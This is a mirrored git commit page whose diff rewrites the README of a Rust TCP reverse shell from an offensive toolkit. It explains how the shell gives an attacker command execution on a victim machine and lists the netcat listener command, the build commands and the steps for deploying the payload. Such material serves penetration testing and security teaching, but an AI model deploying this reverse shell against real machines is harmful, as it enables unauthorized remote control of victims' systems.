admin/kmanc-remote_code_oxidation
1
0
Fork 0
mirror of https://github.com/kmanc/remote_code_oxidation synced 2026-06-08 15:21:46 +00:00
Code Issues Packages Projects Releases Wiki Activity

Documentation (#7)

Browse Source 
* updated tcp rev shell documentation

* missed a line

* missed another line

* updating documentation for process migration
This commit is contained in:
kmanc
2021-12-29 01:33:55 -08:00
committed by GitHub
parent 776934d2ea
commit 1298be49c7
2 changed files with 67 additions and 18 deletions
Download Patch File Download Diff File Expand all files Collapse all files
tcp_reverse_shell/README.md
+36 -9
View File
@@ -1,13 +1,40 @@
# RCO: TCP Reverse Shell
Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/tcp_reverse_shell/src/config.rs) and change the IP address and port to match your listener before compiling
## What it is
#### Build for Unix target
```commandline
cargo build -p tcp_reverse_shell --release
```
RCO's TCP reverse shell is a no-frills [reverse shell](http://127.0.0.1). This means it allows you to run Terminal (Unix)
or Command Prompt (Windows) commands _on the victim machine_ from the attacking machine. Getting a remote shell on a
victim machine usually allows much more control over the victim than other attacks.
#### Build for Windows target
```commandline
cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell --release
```
## How it works
Both RCO's Unix and Windows TCP reverse shells work by establishing a [TCP session](http://127.0.0.1) from the victim machine
to the attacking machine. Then a Terminal (Unix) or Command Prompt (Windows) process is spun up with its [standard input](http://127.0.0.1),
[standard output](http://127.0.0.1), and [standard error](http://127.0.0.1) all assigned to the TCP session. This means that
input commands and output results are read from and written to (respectively) a TCP stream.
## Using it
1. Start a listener on the attacking machine
```commandline
nc -nlvp 4444
```
2. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/tcp_reverse_shell/src/config.rs)
and change the IP address and port to match your attacking machine and listener, respectively
3. Compile the executable
#### For Unix targets
```commandline
cargo build -p tcp_reverse_shell --release
```
#### For Windows targets
```commandline
cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell --release
```
4. Execute the payload on the victim machine
5. Return to the listener and enter desired commands for the victim machine to run